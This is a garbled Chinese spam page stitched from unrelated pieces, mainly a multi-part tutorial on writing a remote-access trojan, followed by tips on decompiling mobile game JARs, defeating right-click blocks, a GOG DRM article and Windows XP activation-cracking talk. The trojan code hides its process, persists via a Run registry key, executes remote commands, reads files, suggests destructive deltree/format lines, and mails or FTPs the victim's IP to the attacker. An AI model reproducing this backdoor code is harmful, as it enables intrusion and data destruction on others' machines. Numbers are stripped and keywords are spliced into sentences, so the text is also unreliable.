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【源码 21cake】【unity源码怎么学习】【如何修改插件源码】怎么破除源码的授权_怎么破除源码的授权管理

2024-12-23 23:31:07 来源:综合 分类:综合

1.木马是破除什么东西
2.什么软件可以破除手机网游
3.有些网站禁止右键功能,怎么解决它?
4.GOG 十周年:理想主义者的源码道路能走多远?
5.window XP有什么优点的地方啊?
6.关于API?

怎么破除源码的授权_怎么破除源码的授权管理

木马是什么东西

       木马是如何编写的(一)

        特洛依木马这个名词大家应该不陌生,自从年“死牛崇拜”黑客小组公布Back Orifice以来,权破木马犹如平地上的除源惊雷,使在DosWindows时代中长大的授权中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的管理源码 21cake网络也有它邪恶的一面,一时间人心惶惶。破除

        我那时在《电脑报》上看到一篇文章,源码大意是权破一个菜鸟被人用BO控制了,吓得整天吃不下饭、除源睡不着觉、授权上不了网,管理到处求救!破除呵呵,源码要知道,权破木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

        自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

        首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm.dll吗?

        启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。unity源码怎么学习Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

        Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有K左右那样。

        我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL.DLL中的鸟函数了。

        首先判断目标机的操作系统是Win9x还是WinNt:

       {

       DWORD dwVersion = GetVersion();

       // 得到操作系统的版本号

       if (dwVersion >= 0x)

       // 操作系统是Win9x,不是WinNt

        {

        typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

        file://定义RegisterServiceProcess()函数的原型

        HINSTANCE hDLL;

        LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

        hDLL = LoadLibrary("KERNEL");

        file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL.DLL

        lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

        file://得到RegisterServiceProcess()函数的地址

        lpRegisterServiceProcess(GetCurrentProcessId(),1);

        file://执行RegisterServiceProcess()函数,隐藏本进程

        FreeLibrary(hDLL);

        file://卸载动态链接库

        }

       }

        这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

       {

       char TempPath[MAX_PATH];

       file://定义一个变量

       GetSystemDirectory(TempPath ,MAX_PATH);

       file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

       SystemPath=AnsiString(TempPath);

       file://格式化TempPath字符串,使之成为能供编译器使用的样式

       CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi.exe").c_str() ,FALSE);

       file://将自己拷贝到%System%目录下,并改名为Tapi.exe,伪装起来

       Registry=new TRegistry;

       file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

       Registry->RootKey=HKEY_LOCAL_MACHINE;

       file://设置主键为HKEY_LOCAL_MACHINE

       Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

       file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

       try

        {

        file://如果以下语句发生异常,跳至catch,以避免程序崩溃

        if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi.exe")

        Registry->WriteString("crossbow",SystemPath+"\\Tapi.exe");

        file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi.exe

        file://如果不是,就写入以上键值和内容

        }

       catch(...)

        {

        file://如果有错误,什么也不做

        }

       }

        好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

        接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,如何修改插件源码因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的号端口也是SMTP协议的专用端口。

        再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

       {

        FILE *fp=NULL;

        char * content;

        int times_of_try;

        char TempFile[MAX_PATH];

        file://定义了一堆待会儿要用到的变量

        sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win.BAT")).c_str());

        file://在%System%下建立一个文本文件Win.bat,作为临时文件使用

        AnsiString temp=Socket->ReceiveText();

        file://接收客户端(攻击者,也就是你自己)传来的数据

       }

        好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

       {

       if(temp.SubString(0,9)=="edit conf")

        file://如果接受到的字符串的前9个字符是“edit conf”

        {

        int number=temp.Length();

        file://得到字符串的长度

        int file_name=atoi((temp.SubString(,1)).c_str());

        file://将第个字符转换成integer型,存入file_name变量

        file://为什么要取第个字符,因为第个字符是空格字符

        content=(temp.SubString(,number-)+'\n').c_str();

        file://余下的字符串将被作为写入的内容写入目标文件

        FILE *fp=NULL;

        char filename[];

        chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

        chmod("c:\\config.sys",S_IREADS_IWRITE);

        file://将两个目标文件的属性改为可读可写

        if(file_name==1)

        sprintf(filename,"%s","c:\\autoexec.bat");

        file://如果第个字符是1,就把Autoexec.bat格式化

        else if(file_name==2)

        sprintf(filename,"%s","c:\\config.sys");

        file://如果第个字符是1,就把Config.sys格式化

        times_of_try=0;

        file://定义计数器

        while(fp==NULL)

        {

        file://如果指针是空

        fp=fopen(filename,"a+");

        file://如果文件不存在,创建之;如果存在,准备在其后添加

        file://如果出错,文件指针为空,这样就会重复

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已经试了次了,仍未成功

        Socket->SendText("Fail By Open File");

        file://就发回“Fail By Open File”的错误信息

        goto END;

        file://跳至END处

        }

        }

        fwrite(content,sizeof(char),strlen(content),fp);

        file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

        fclose(fp);

        file://写完后关闭目标文件

        Socket->SendText("Sucess");

        file://然后发回“Success”的成功信息

        }

       }

       上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

       {

       else if(temp.SubString(0,3)=="dir")

        {

        file://如果前3个字符是“dir”

        int Read_Num;

        char * CR_LF="\n";

        int attrib;

        char *filename;

        DIR *dir;

        struct dirent *ent;

        int number=temp.Length();

        file://得到字符串的长度

        AnsiString Dir_Name=temp.SubString(5,number-3);

        file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

        if(Dir_Name=="")

        {

        file://如果目录名为空

        Socket->SendText("Fail By Open DIR's Name");

        file://返回“Fail By Open DIR's Name”信息

        goto END;

        file://跳到END

        }

        char * dirname;

        dirname=Dir_Name.c_str();

        if ((dir = opendir(dirname)) == NULL)

        {

        file://如果打开目录出错

        Socket->SendText("Fail by your DIR's name!");

        file://返回“Fail By Your DIR's Name”信息

        goto END;

        file://跳到END

        }

        times_of_try=0;

        while(fp==NULL)

        {

        file://如果指针是NULL

        fp=fopen(TempFile,"w+");

        file://就创建system\Win.bat准备读和写;如果此文件已存在,则会被覆盖

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已经试了次了,仍未成功(真有耐心!)

        Socket->SendText("Fail By Open File");

        file://就发回“Fail By Open File”的错误信息

        goto END;

        file://并跳到END处

        }

        }

        while ((ent = readdir(dir)) != NULL)

        {

        file://如果访问目标目录成功

        if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

        file://如果最后一个字符不是“\”,证明不是根目录

        filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

        file://加上“\”字符后将指针指向目录流

        else

        filename=(AnsiString(dirname)+ent->d_name).c_str();

        file://如果是根目录,则不用加“\”

        attrib=_rtl_chmod(filename, 0);

        file://得到目标文件的访问属性

        if (attrib & FA_RDONLY)

        file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0

        fwrite(" R",sizeof(char),3,fp);

        file://将目标文件属性设为只读

        else

        fwrite(" ",sizeof(char),3,fp);

        file://失败则写入空格

        if (attrib & FA_HIDDEN)

        fwrite("H",sizeof(char),1,fp);

        file://将目标文件属性设为隐藏

        else

        fwrite(" ",sizeof(char),1,fp);

        file://失败则写入空格

        if (attrib & FA_SYSTEM)

        fwrite("S",sizeof(char),1,fp);

        file://将目标文件属性设为系统

        else

        fwrite(" ",sizeof(char),1,fp);

        file://失败则写入空格

        if (attrib & FA_ARCH)

        fwrite("A",sizeof(char),1,fp);

        file://将目标文件属性设为普通

        else

        fwrite(" ",sizeof(char),1,fp);

        file://失败则写入空格

        if (attrib & FA_DIREC)

        fwrite(" <DIR> ",sizeof(char),9,fp);

        file://将目标文件属性设为目录

        else

        fwrite(" ",sizeof(char),9,fp);

        file://失败则写入空格

        fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

        file://将目录名写入目标文件

        fwrite(CR_LF,1,1,fp);

        file://写入换行

        }

        fclose(fp);

        file://关闭文件

        closedir(dir);

        file://关闭目录

        FILE *fp1=NULL;

        times_of_try=0;

        while(fp1==NULL)

        {

        fp1=fopen(TempFile,"r");

        file://打开Win.bat准备读

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已经试了次了,仍未成功

        Socket->SendText("Fail By Open File");

        file://就发回“Fail By Open File”的错误信息

        goto END;

        file://并跳到END处

        }

        }

        AnsiString Return_Text="";

        char temp_content[];

        for(int i=0;i<;i++) temp_content[i]='\0';

        file://定义的一个空数组

        Read_Num=fread(temp_content,1,,fp1);

        file://从目标文件中读入前个字符

        while(Read_Num==)

        {

        Return_Text=Return_Text+temp_content;

        file://Return_Text变量加上刚才的个字符

        for(int i=0;i<;i++) temp_content[i]='\0';

        Read_Num=fread(temp_content,1,,fp1);

        file://重复

        };

        Return_Text=Return_Text+temp_content;

        file://Return_Text变量加上刚才的个字符

        fclose(fp1);

        file://关闭目标文件

        Socket->SendText(Return_Text);

        file://返回Return_Text变量的内容

        }

       }

        够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

       {

       else if(temp.SubString(0,4)=="type")

        {

        file://如果前4个字符是“type”

        int Read_Num;

        int number=temp.Length();

        AnsiString File_Name=temp.SubString(6,number-4);

        file://将目标文件流存入File_Name变量中

        times_of_try=0;

        while(fp==NULL)

        {

        fp=fopen(File_Name.c_str(),"r");

        file://打开目标文件准备读

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已试了次了

        Socket->SendText("Fail By Open File");

        file://返回“Fail By Open File”的错误信息

        goto END;

        file://跳到END

        }

        }

        AnsiString Return_Text="";

        char temp_content[];

        for(int i=0;i<;i++) temp_content[i]='\0';

        file://定义一个空数组

        Read_Num=fread(temp_content,1,,fp);

        file://从目标文件中读入前个字符

        while(Read_Num==)

        {

        Return_Text=Return_Text+temp_content;

        file://Return_Text的内容加上刚才的字符

        for(int i=0;i<;i++) temp_content[i]='\0';

        Read_Num=fread(temp_content,1,,fp);

        file://重复

        };

        Return_Text=Return_Text+temp_content;

        file://Return_Text的内容加上刚才的字符

        fclose(fp);

        file://关闭目标文件

        Socket->SendText(Return_Text);

        file://返回Return_Text的内容,即你查看文件的内容

        }

       }

        咳咳!累死了!还是来点轻松的吧操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

       {

       else if(temp=="open")

        {

        file://如果收到的temp的内容是“open”

        mciSendString("set cdaudio door open", NULL, 0, NULL);

        file://就弹出光驱的托盘

        }

       else if(temp=="close")

        {

        file://如果收到的temp的内容是“close”

        mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

        file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

        }

       }

        接着就是交换目标机的鼠标左右键,代码如下:

       {

       else if(temp=="swap")

        {

        SwapMouseButton(1);

        file://交换鼠标左右键,简单吧?

        }

       }

        然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

       {

       else if(temp=="reboot")

        {

        file://如果收到的temp的内容是“temp”

        DWORD dwVersion = GetVersion();

        file://得到操作系统的版本号

        if (dwVersion < 0x)

        {

        file://操作系统是WinNt,不是Win9x

        HANDLE hToken;

        TOKEN_PRIVILEGES tkp;

        file://定义变量

        OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

        file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

        file://GetCurrentProcess()函数的作用是得到本进程的句柄

        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

        file://LookupPrivilegeValue()的作用是修改进程的权限

        tkp.PrivilegeCount = 1;

        file://赋给本进程特权

        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

        file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

        ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

        file://强行退出WinNt并重启

        }

        else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

        file://强行退出Win9x并重启

        }

       }

        如果以上都不是,就让它在Dos窗口中执行传来的雄县源码皮具箱包命令:

       {

       else

        {

        file://如果都不是

        char * CR_TF="\n";

        times_of_try=0;

        while(fp==NULL)

        {

        fp=fopen(TempFile,"w+");

        file://创建Win.bat,如果已存在就覆盖

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        Socket->SendText("Fail By Open File");

        file://返回“Fail By Open File”的信息

        goto END;

        file://跳到END

        }

        }

        fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

        file://写入欲执行的命令

        fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

        file://写入换行符

        fclose(fp);

        file://关闭Win.bat

        system(TempFile);

        file://执行Win.bat

        Socket->SendText("Success");

        file://返回“Success”信息

        }

       }

        你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

        到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

        木马是如何编写的(三)

        武汉 周侃

        上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

       {

       END:;

        Socket->Close();

        file://关闭服务

        ServerSocket1->Active =true;

        file://再次打开服务

        if (NMSMTP1->Connected) NMSMTP1->Disconnect();

        file://如果SMTP服务器已连接则断开

        NMSMTP1->Host = "smtp..net";

        file://选一个好用的SMTP服务器,如、、sina和btamail

        NMSMTP1->UserID = "";

        file://你SMTP的ID

        try

        {

        NMSMTP1->Connect();

        file://再次连接

        }

        catch(...)

        {

        goto NextTime;

        file://跳到NextTime

        }

        NMSMTP1->PostMessage->FromAddress ="I don't know!";

        file://受害者的Email地址

        NMSMTP1->PostMessage->FromName = "Casualty";

        file://受害者的名字

        NMSMTP1->PostMessage->ToAddress->Text = "crossbow@.net";

        file://将信发到我的邮箱,这一步很关键

        NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

        file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

        NMSMTP1->PostMessage->Subject = "Server Running Now!";

        file://信的主题

        NMSMTP1->SendMail();

        file://发送!

        return;

        file://返回

       NextTime:

        NMFTP1->Host = "ftp.go..com";

        file://你的FTP服务器的地址

        NMFTP1->UserID = "";

        file://你的用户ID

        NMFTP1->Port = ;

        file://FTP端口号,一般为

        NMFTP1->Password = "";

        file://你的FTP的密码

        if(NMFTP1->Connected) NMFTP1->Disconnect();

        file://如果已连接就断开

        try

        {

        NMFTP1->Connect();

        file://再连接

        }

        catch(...)

        {

        return;

        file://返回

        }

        AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

        file://受害者的IP地址

        FILE * Upload;

        Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

        file://创建一个新文件准备写,如果已存在就覆盖

        fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

        file://写入以上的SendToSite的内容

        fclose(Upload);

        file://写完后关闭此文件

        NMFTP1->RemoveDir("public_html");

        file://删除public_html目录

        NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

        file://上传!

       }

        啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

       #include <stdlib.h>

       #include <dirent.h>

       #include <fcntl.h>

       #include <dos.h>

       #include <sys\stat.h>

       #include <winbase.h>

       #include <stdio.h>

       #include <process.h>

       #include <io.h>

       #include <mmsystem.h>

        至此,服务器端(Server)程序已全部

什么软件可以破除手机网游

       因为手机网游大部分是JAR客户端。所以我介绍的是jar相关

       电脑端汉化修改破解主要的工具有:

       很多工具先要安装好java运行工具

       1.反编译工具,推荐x-jad,小颖,DJ等

       反编译用于查看java源码,便于分析代码的结构为修改和破解打号基础。

       2.直接修改class,推荐迷你手游的halo 2.0,或jclazz,jclazz是一个Java字节码查看器与反编译工具。支持java1.4到1.6版本的字节码。

       直接修改class一般指java字节码的修改。

       3.简便的汉化工具,使用java-class,也叫hhclass。魔器也是其中一种简便的分析和修改工具。

有些网站禁止右键功能,怎么解决它?

          破除网页禁止右键种方法

       1、在网页上任意处将右键按下,等跳出对话框时不要放开右键,将鼠标移至对话框,用鼠标左键点“确定”,在将鼠标移动到想要的连接处,放开右键!OK!

       2、同“1”,只是将鼠标移至对话框,用回车去“确认”!

       3、用组合键“SHIFT+F”!

       4、在页面中点击右键,当出现警告窗口时,源码要怎么获取左手按键盘上的ALT+F4或者CTRL+W键关闭提示窗口!

       ————以上的方法适用于仅禁用而没有隐藏右键菜单的网页————

       5、先用鼠标左键进入该页,记录下该页地址,用下载工具“添加新任务”强行下载!(该方法适用于可以打开的连接)

       6、同“4”,但是可以查看网页源代码,找到该连接后用下载工具“添加新任务”强行下载!(该方法适合比较简单的网页)

       7、可以将该网页“另存”到硬盘上,修改后直接下载!(此法适用于有主页基础的人)

       8、在IE设置禁用所有的脚本文件,大胆下载后在改回原来的设置!(此方法适用于对IE设置较了解的老鸟)

       9、直接将想要的用左键拖着,然后按下WIN+D键,这样一来就可以拖到桌面上保存!(此方法适用于单手操作较灵活的同志)

       、查看源代码如果发现用了这样的代码:

       function stop(){

       alert('XXXX,XXXX!');

       return false;

       }

       document。

         oncontextmenu=stop;

       你可以在地址栏键入:java (document。oncontextmenu='')回车,确定对话匡后,直接。。。。。

       、键盘上右手边WIN键旁边的那个菜单键也可以,只要把鼠标选中你要的或文字,按那个菜单键就可以了:)。

         

GOG 十周年:理想主义者的道路能走多远?

       Epic Games宣布推出自家游戏商城,许以开发者诱人的分成比例,挖走了一些Steam的墙角,建立自己的独占游戏库,这种新店开业的风光姿态让各大游戏平台的竞争力再次受到考验。然而,在各大游戏平台中,GOG这个名字却很少被人提及。这家已经上线十年的游戏平台,许多玩家甚至都不知道它的存在。GOG与知名游戏厂商“波兰蠢驴”(CD PROJEKT)之间有着千丝万缕的联系,但这种存在感的缺失让人诧异。

       GOG于月日开启了冬季大促,平台上超过%的游戏都参与了打折。作为一家充满理想主义气息的游戏平台,GOG背后有着十年的成长故事。成立于年的GOG,其缩写来源为“Good Old Game(优质老游戏)”,寄托了CD PROJEKT对传承经典的期望。当时数字发行逐渐兴起,而经典游戏却逐渐消失,GOG决定搜寻那些名噪一时的作品,改善老游戏的兼容性,使之重新在现代的数字平台上发售与运行。

       实现这一理想的过程远比想象的艰难。因为年代久远和过程混乱,有些经典游戏的版权所有方已经难以考证,或是几经易手,源代码也彻底失落。即使千辛万苦地谈完授权,也要对游戏进行再次加工,去除DRM和BUG,并使之能在现代的操作系统上直接体验。这种考古式的付出,和不成正比的回报率,外人看来应该难以为继,但CD PROJEKT在GOG上坚持了十年。

       尽管GOG有着良好的心意,但有限的游戏数量和小众的游戏品类遗憾地导致它一直未有突破。然而,GOG在年以后逐渐调整运营方向,尝试接纳并发售新款游戏。然而,由于一个理念之争,致使许多游戏开发者有所顾虑,不愿入驻。

       争执的中心正是DRM,数字版权保护。作为开发者又是数字发行商的CD PROJEKT本应是这一保护手段的直接受益者,但在GOG创立之初,它却旗帜鲜明地提出了DRM-Free(无数字版权保护)的理念,并将DRM视为必须破除的枷锁。

       这样一来,意味着无须破解,任何一份游戏都可以被直接拷贝成数百份去传播。这是否意味着技术防线告破,仅有的道德防线真的能阻止盗版者?对于这个问题,CD PROJEKT有自己的理解。从根本上说,用DRM加密来打击盗版是行不通的。如果一个付了钱,支持正版的消费者,在使用时却因为DRM加密而平添了不少麻烦,通过非法渠道下载的人却不会遇上这类烦心事。这显然有什么不对劲。

       这种认知源自波兰蠢驴的发家经历。在上世纪年代的波兰,CD PROJEKT决意在盗版的土壤上卖出正版。他们从官方发行商签下了一批游戏的拷贝,并孤注一掷地花费重金将游戏翻译为波兰语,同时附加了羊皮纸地图、规则手册、原声CD等实物周边,而最终出售时,价格与盗版相差无几。这种“加量不加价”的耿直策略让CD PROJEKT在与盗版市场的博弈中取得了胜利,也坚信不疑地坚持着这一理念。

       面对盗版与破解的永恒之争,CD PROJEKT做出了一个大胆的决定,在GOG上彻底发行DRM-Free版本:承认盗版的必然存在,不寄希望于只防一时的数字加密,而是以最良心的发售方式去吸引玩家。然而,与主流的加密方式相比,DRM-Free无疑是一步险棋,因此耗费重资开发游戏的厂商出于顾虑,往往不愿主动合作。

       平台之争,何去何从?相比一枝独秀的Steam,强势入局的Epic游戏商城,十年至今仍默默无闻的GOG不禁让人惋惜。偏小众的游戏库、精挑细选的准入门槛,吸引的多是对老游戏情有独钟的群体,致使GOG更像是一家重温经典旧作的博物馆,而非提供新近游戏的发行商。相比Steam丰富得泛滥的游戏库,GOG慢工细活的性子注定让它错失许多热门游戏的红利。

       游戏库的逐渐更新充实需要时间,我们已经可以看到CD PROJEKT在这一层面改进的努力。然而,新作数量增长有限的最大原因之一,莫过于厂商对于DRM-Free的顾虑。尽管游戏开发者尚不敢对人性下注,但DRM-Free对玩家的好处不言而喻。玩家不必特地激活游戏,也不必每次打开都接受一次DRM检测,单机游戏也无需全程联网,面临不必要的掉线威胁。已经下载的DRM-Free游戏完全相当于自己的所有物,可以直接在安装的根目录打开,平台客户端删掉,密码忘光也无妨。

       不必通过客户端启动无疑是一个优点,平台之争愈演愈烈,涉猎丰富的玩家甚至要在电脑中同时安装几个启动器,意外的累赘。而为了争夺用户的独占游戏其实也让玩家的选择更加割裂。然而,相比本质上的商业竞争,GOG似乎并不把击败对手作为首要目的,而是一切以照顾玩家的体验优先。除了DRM-Free、社区愿望单、功能整洁、云存档以及功能仍然十分有限但志在实现跨平台共享游戏库的GOG互联外,GOG还在努力实现着自己的理想。

       理想主义者的大梦?时至今日,“理想主义者”依然不是一个非常正面的词汇,多用于讽刺对世事的预想过于乐观,难以实现。然而,这个世界需要理想主义者,许多突破传统的变革既需要时代的推力,也需要一群固执者带动的努力。近年来,已经逐渐萌生了一种思潮,即正版玩家对DRM的反感:盗版玩家破解畅玩,正版玩家却成为防盗措施的受害者。这种怪象在未来或许能得到改变,而先见之明的CD PROJEKT和GOG已经走在了前面。

window XP有什么优点的地方啊?

       Windows XP是个人计算机的一个重要里程碑,是实现.NET的基础。该系统集成了数码媒体、无线网络、远程网络等最新的技术和规范并具有极强的兼容性,更美观、更具个性的界面设计,Windows XP的出现将自由释放数字世界的无穷魅力,将为用户带来更加兴奋的全新感受!” 这是微软自夸的话,但不可否认的是,Windows XP确实是Windows史上性能最高的系统,它以NT为核心,拥有极其华丽的外观;它将Win9x/Me的用户带进一个既有Win般稳定,而操作却比Win9x/Me/更容易的使用环境。

       Windows XP 各种版本比较

       《说法一》

       OEM:是给计算机厂商随着计算机贩卖的,也就是随机版。

       RTM:错误:是给一些测试人员做测试用的(补充:全称为Release to Manufacture)。

       正确:是给工厂大量压片的版本,内容跟正式版是一样的,不过RTM.也有出天评估版。但是说RTM.是测试版是错的。

       RVL:是正式上架零售版。

       OEM=RVL:只是它的安装内容的内定值不一样,所以会有分别。

       随机版——能从全新的硬盘内安装,不支持升级式的安装

       升级版——用升级式的安装,不支持全新的安装

       零售版——则两种安装方式都支持,这也是为什么零售版的价格最贵

       至于安装后的东西都一样,差别只是在支持的安装方式而己!

       《说法二》

       英文Corporate.版,就是微软的开发商零售版,目前更新的MSDN则又更新了部份驱动程序,这都已是百分百的正式版了。而目前网上流传的中文版,OEM.及EVAL.大都是用英文的 Corporate.版部分文件覆盖以破除激活限制。至于中文的RTL.版则跟英文Corporate.版一样是输入金钥就可免激活的。附注:OEM(随机)、EVAL(零售)、RTL(开发商零售)

       《反对一》

       不对吧!EVAL.= Evalutaion Copy.评估版(就是试用版啦)、RTL.= Retail.零售版。

       中文RTL.(Retail)版不用激活?不用激活的版本叫做大量授权(Volume.License)版本,或称为Corporate.版,输入 Volume.license.key.(VLK),不用激活!中文零售版怎么会不用激活?那我去华彩买的零售版就不用激活啰?RVL.怎么会是零售版呢?你把RVL.和RTL.(Retail)搞混了!RVL.根本不是版本的名称。RVL.是一个Warez.Team,台湾分部叫RVL@TW.,它之间又释出一个.WinXP.RVL@TW.版本。这个版本真的是零售版吗?大大怀疑!!它是某中文版+英文Corpfiles档破解的。

       《说法二再论》

       不想用字义去解释版本,就是有些版本不好解释,所以才用一些简单的定义来形容。目前市面上根本不可能有「零售版」流出,因为每个都有微软的识别追踪码,而流通在网络上的EVAL版,是微软帮媒体记者编辑上课给的,是所谓的「评估版」没错,你输入的金钥是天的,就可用天,输入的是天的,就可用天。而这个版本跟月日要上市零售的是一样的,当你购买时,会有一个独一的金钥,上网激活后就是合法授权的使用者,所以我说这一版就是零售版。至于RTL.版本,我已经解释得很清楚了,它的EULAID和英文的Corporate版是一样的,国别不同而已。

       《说法二附注》

       在i文件夹里有一个eula.txt,最后有一行EULAID,就是你的版本:

       1.如果是WX.开头是正式版,WB.开头是测试版。

       2.如果有_PRE,是家庭版,_PRO是专业版。

       3._OEM,_RVL都是需要启动版,_RTL有免启动金钥,就可免启动。

       4.光碟标签并无意义,是制作光盘的人自己加加进去的。

       5.OEM.版的说明,中文版应是一半中文一半英文,如果全是英文,那就是来自英文的Corporate版(破解)。

       6.EVAL(RVL)版的说明全是中文。

       7.OEM:WX.2_PRO_OEM_TW(or.WX.2_PRE_OEM_TW)

       8.EVAL:WX.2_PRO_RVL_TW(or.WX.2_PRE_RAL_TW)

